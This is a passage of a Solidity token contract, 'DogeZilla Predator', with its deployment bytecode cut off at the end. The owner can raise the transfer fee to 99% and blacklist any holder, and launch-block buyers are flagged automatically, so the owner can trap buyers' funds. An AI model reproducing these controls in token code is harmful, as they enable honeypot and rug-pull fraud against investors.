mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "DogeZilla Predator";
string private constant _symbol = "DogeKong";
uint private constant _decimals = 9;
uint256 private _teamFee = 12;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0xff4BbB8efdC0C0954543867f0aaFd83f3eE2AF25)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen);
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
uint256 burnCount = contractTokenBalance.mul(3).div(13);
contractTokenBalance -= burnCount;
_burnToken(burnCount);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _burnToken(uint256 burnCount) private lockTheSwap(){
_transfer(address(this), address(0xdead), burnCount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (5 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 99);
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf914610489578063cf0848f7146104a0578063cf9d4afa146104c9578063dd62ed3e146104f2578063e6ec64ec1461052f578063f2fde38b1461055857610156565b8063715018a61461038d5780638da5cb5b146103a457806390d49b9d146103cf57806395d89b41146103f8578063a9059cbb14610423578063b515566a1461046057610156565b806331c2d8471161010857806331c2d8471461026d5780633bbac57914610296578063437823ec146102d3578063476343ee146102fc5780635342acb41461031357806370a082311461035057610156565b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b31461019d57806318160ddd146101da57806323b872dd14610205578063313ce5671461024257610156565b3661015657005b600080fd5b34801561016757600080fd5b50610170610581565b005b34801561017e57600080fd5b50610187610616565b6040516101949190612a1b565b60405180910390f35b3480156101a957600080fd5b506101c460048036038101906101bf9190612ae5565b610653565b6040516101d19190612b40565b60405180910390f35b3480156101e657600080fd5b506101ef610671565b6040516101fc9190612b6a565b60405180910390f35b34801561021157600080fd5b5061022c60048036038101906102279190612b85565b610681565b6040516102399190612b40565b60405180910390f35b34801561024e57600080fd5b5061025761075a565b6040516102649190612b6a565b60405180910390f35b34801561027957600080fd5b50610294600480360381019061028f9190612d20565b610763565b005b3480156102a257600080fd5b506102bd60048036038101906102b89190612d69565b610874565b6040516102ca9190612b40565b60405180910390f35b3480156102df57600080fd5b506102fa60048036038101906102f59190612dd4565b6108ca565b005b34801561030857600080fd5b506103116109a1565b005b34801561031f57600080fd5b5061033a60048036038101906103359190612d69565b610a12565b6040516103479190612b40565b60405180910390f35b34801561035c57600080fd5b5061037760048036038101906103729190612d69565b610a68565b6040516103849190612b6a565b60405180910390f35b34801561039957600080fd5b506103a2610ab9565b005b3480156103b057600080fd5b506103b9610b41565b6040516103c69190612e10565b60405180910390f35b3480156103db57600080fd5b506103f660048036038101906103f19190612dd4565b610b6a565b005b34801561040457600080fd5b5061040d610d1e565b60405161041a9190612a1b565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612ae5565b610d5b565b6040516104579190612b40565b60405180910390f35b34801561046c57600080fd5b5061048760048036038101906104829190612d20565b610d79565b005b34801561049557600080fd5b5061049e610f70565b005b3480156104ac57600080fd5b506104c760048036038101906104c29190612dd4565b611075565b005b3480156104d557600080fd5b506104f060048036038101906104eb9190612dd4565b61114c565b005b3480156104fe57600080fd5b5061051960048036038101906105149190612e2b565b6114e6565b6040516105269190612b6a565b60405180910390f35b34801561053b57600080fd5b5061055660048036038101906105519190612e6b565b61156d565b005b34801561056457600080fd5b5061057f600480360381019061057a9190612d69565b611601565b005b6105896116f8565b73ffffffffffffffffffffffffffffffffffffffff166105a7610b41565b73ffffffffffffffffffffffffffffffffffffffff16146105fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f490612ee4565b60405180910390fd5b600061060830610a68565b905061061381611700565b50565b60606040518060400160405280601281526020017f446f67655a696c6c61205072656461746f720000000000000000000000000000815250905090565b60006106676106606116f8565b8484611979565b6001905092915050565b6000670de0b6b3a7640000905090565b600061068e848484611b42565b61074f8461069a6116f8565b61074a8560405180606001604052806028815260200161398f60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107006116f8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121919092919063ffffffff16565b611979565b600190509392505050565b60006009905090565b61076b6116f8565b73ffffffffffffffffffffffffffffffffffffffff16610789610b41565b73ffffffffffffffffffffffffffffffffffffffff16146107df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d690612ee4565b60405180910390fd5b60005b81518110156108705760006005600084848151811061080457610803612f04565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061086890612f62565b9150506107e2565b5050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6108d26116f8565b73ffffffffffffffffffffffffffffffffffffffff166108f0610b41565b73ffffffffffffffffffffffffffffffffffffffff1614610946576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093d90612ee4565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000479050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610a0e573d6000803e3d6000fd5b5050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000610ab2600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f5565b9050919050565b610ac16116f8565b73ffffffffffffffffffffffffffffffffffffffff16610adf610b41565b73ffffffffffffffffffffffffffffffffffffffff1614610b35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2c90612ee4565b60405180910390fd5b610b3f6000612263565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610b726116f8565b73ffffffffffffffffffffffffffffffffffffffff16610b90610b41565b73ffffffffffffffffffffffffffffffffffffffff1614610be6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdd90612ee4565b60405180910390fd5b600060046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606040518060400160405280600881526020017f446f67654b6f6e67000000000000000000000000000000000000000000000000815250905090565b6000610d6f610d686116f8565b8484611b42565b6001905092915050565b610d816116f8565b73ffffffffffffffffffffffffffffffffffffffff16610d9f610b41565b73ffffffffffffffffffffffffffffffffffffffff1614610df5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dec90612ee4565b60405180910390fd5b60005b8151811015610f6c57600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610e4d57610e4c612f04565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614158015610ee15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610ec057610ebf612f04565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b15610f5957600160056000848481518110610eff57610efe612f04565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8080610f6490612f62565b915050610df8565b5050565b610f786116f8565b73ffffffffffffffffffffffffffffffffffffffff16610f96610b41565b73ffffffffffffffffffffffffffffffffffffffff1614610fec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe390612ee4565b60405180910390fd5b600c60149054906101000a900460ff1661103b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110329061301c565b60405180910390fd5b6001600c60176101000a81548160ff02191690831515021790555042600d8190555061012c600d5461106d919061303c565b600e81905550565b61107d6116f8565b73ffffffffffffffffffffffffffffffffffffffff1661109b610b41565b73ffffffffffffffffffffffffffffffffffffffff16146110f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e890612ee4565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6111546116f8565b73ffffffffffffffffffffffffffffffffffffffff16611172610b41565b73ffffffffffffffffffffffffffffffffffffffff16146111c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bf90612ee4565b60405180910390fd5b600c60149054906101000a900460ff1615611218576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120f90613104565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561127c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a09190613139565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611307573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132b9190613139565b6040518363ffffffff1660e01b8152600401611348929190613166565b6020604051808303816000875af1158015611367573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138b9190613139565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff0219169083151502179055505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6115756116f8565b73ffffffffffffffffffffffffffffffffffffffff16611593610b41565b73ffffffffffffffffffffffffffffffffffffffff16146115e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e090612ee4565b60405180910390fd5b60638111156115f757600080fd5b8060088190555050565b6116096116f8565b73ffffffffffffffffffffffffffffffffffffffff16611627610b41565b73ffffffffffffffffffffffffffffffffffffffff161461167d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167490612ee4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036116ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e390613201565b60405180910390fd5b6116f581612263565b50565b600033905090565b6001600c60166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561173857611737612bdd565b5b6040519080825280602002602001820160405280156117665781602001602082028036833780820191505090505b509050308160008151811061177e5761177d612f04565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611825573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118499190613139565b8160018151811061185d5761185c612f04565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506118c430600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611979565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611928959493929190613324565b600060405180830381600087803b15801561194257600080fd5b505af1158015611956573d6000803e3d6000fd5b50505050506000600c60166101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119df906133f0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4e90613482565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611b359190612b6a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611bb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba890613514565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c17906135a6565b60405180910390fd5b60008111611c63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5a90613638565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce7906136f0565b60405180910390fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d965750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611daf5750600c60159054906101000a900460ff16155b8015611e605750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611e5f5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b1561217f57600c60179054906101000a900460ff16611e7e57600080fd5b60019050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611f2d5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f3a575042600e54115b15611f9b576000611f4a84610a68565b9050611f7b6064611f6d6002670de0b6b3a764000061232790919063ffffffff16565b6123a190919063ffffffff16565b611f8e82856123eb90919063ffffffff16565b1115611f9957600080fd5b505b600d544203611ffd576001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600061200830610a68565b9050600c60169054906101000a900460ff161580156120755750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b1561217d57600081111561217c576120d460646120c6600f6120b8600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610a68565b61232790919063ffffffff16565b6123a190919063ffffffff16565b81111561212f5761212c606461211e600f612110600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610a68565b61232790919063ffffffff16565b6123a190919063ffffffff16565b90505b6000612158600d61214a60038561232790919063ffffffff16565b6123a190919063ffffffff16565b905080826121669190613710565b915061217181612449565b61217a82611700565b505b5b505b61218b8484848461248f565b50505050565b60008383111582906121d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d09190612a1b565b60405180910390fd5b50600083856121e89190613710565b9050809150509392505050565b600060065482111561223c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612233906137b6565b60405180910390fd5b6000612246612666565b905061225b81846123a190919063ffffffff16565b915050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000808303612339576000905061239b565b6000828461234791906137d6565b9050828482612356919061385f565b14612396576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238d90613902565b60405180910390fd5b809150505b92915050565b60006123e383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612691565b905092915050565b60008082846123fa919061303c565b90508381101561243f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124369061396e565b60405180910390fd5b8091505092915050565b6001600c60166101000a81548160ff0219169083151502179055506124713061dead83611b42565b6000600c60166101000a81548160ff02191690831515021790555050565b808061249e5761249d6126f4565b5b6000806000806124ad87612716565b935093509350935061250784600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461276590919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061259c83600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123eb90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125e8816127af565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126459190612b6a565b60405180910390a3505050508061265f5761265e61286c565b5b5050505050565b6000806000612673612877565b9150915061268a81836123a190919063ffffffff16565b9250505090565b600080831182906126d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126cf9190612a1b565b60405180910390fd5b50600083856126e7919061385f565b9050809150509392505050565b60006008541161270357600080fd5b6008546009819055506000600881905550565b60008060008060008061272b876008546128d6565b915091506000612739612666565b90506000806127498a8585612929565b9150915081818686985098509850985050505050509193509193565b60006127a783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612191565b905092915050565b60006127b9612666565b905060006127d0828461232790919063ffffffff16565b905061282481600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123eb90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b600954600881905550565b600080600060065490506000670de0b6b3a764000090506128ab670de0b6b3a76400006006546123a190919063ffffffff16565b8210156128c957600654670de0b6b3a76400009350935050506128d2565b81819350935050505b9091565b600080600061290160646128f3868861232790919063ffffffff16565b6123a190919063ffffffff16565b90506000612918828761276590919063ffffffff16565b905080829350935050509250929050565b6000806000612941848761232790919063ffffffff16565b90506000612958858761232790919063ffffffff16565b9050600061296f828461276590919063ffffffff16565b9050828194509450505050935093915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156129bc5780820151818401526020810190506129a1565b838111156129cb576000848401525b50505050565b6000601f19601f8301169050919050565b60006129ed82612982565b6129f7818561298d565b9350612a0781856020860161299e565b612a10816129d1565b840191505092915050565b60006020820190508181036000830152612a3581846129e2565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a7c82612a51565b9050919050565b612a8c81612a71565b8114612a9757600080fd5b50565b600081359050612aa981612a83565b92915050565b6000819050919050565b612ac281612aaf565b8114612acd57600080fd5b50565b600081359050612adf81612ab9565b92915050565b60008060408385031215612afc57612afb612a47565b5b6000612b0a85828601612a9a565b9250506020612b1b85828601612ad0565b9150509250929050565b60008115159050919050565b612b3a81612b25565b82525050565b6000602082019050612b556000830184612b31565b92915050565b612b6481612aaf565b82525050565b6000602082019050612b7f6000830184612b5b565b92915050565b600080600060608486031215612b9e57612b9d612a47565b5b6000612bac86828701612a9a565b9350506020612bbd86828701612a9a565b9250506040612bce86828701612ad0565b9150509250925092565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612c15826129d1565b810181811067ffffffffffffffff82111715612c3457612c33612bdd565b5b80604052505050565b6000612c47612a3d565b9050612c538282612c0c565b919050565b600067ffffffffffffffff821115612c7357612c72612bdd565b5b602082029050602081019050919050565b600080fd5b6000612c9c612c9784612c58565b612c3d565b90508083825260208201905060208402830185811115612cbf57612cbe612c84565b5b835b81811015612ce85780612cd48882612a9a565b845260208401935050602081019050612cc1565b5050509392505050565b600082601f830112612d0757612d06612bd8565b5b8135612d17848260208601612c89565b91505092915050565b600060208284031215612d3657612d35612a47565b5b600082013567ffffffffffffffff811115612d5457612d53612a4c565b5b612d6084828501612cf2565b91505092915050565b600060208284031215612d7f57612d7e612a47565b5b6000612d8d84828501612a9a565b91505092915050565b6000612da182612a51565b9050919050565b612db181612d96565b8114612dbc57600080fd5b50565b600081359050612dce81612da8565b92915050565b600060208284031215612dea57612de9612a47565b5b6000612df884828501612dbf565b91505092915050565b612e0a81612a71565b82525050565b6000602082019050612e256000830184612e01565b92915050565b60008060408385031215612e4257612e41612a47565b5b6000612e5085828601612a9a565b9250506020612e6185828601612a9a565b9150509250929050565b600060208284031215612e8157612e80612a47565b5b6000612e8f84828501612ad0565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612ece60208361298d565b9150612ed982612e98565b602082019050919050565b60006020820190508181036000830152612efd81612ec1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612f6d82612aaf565b91507ffffffffffffffffffffffffffffffffffffffffffffffffffff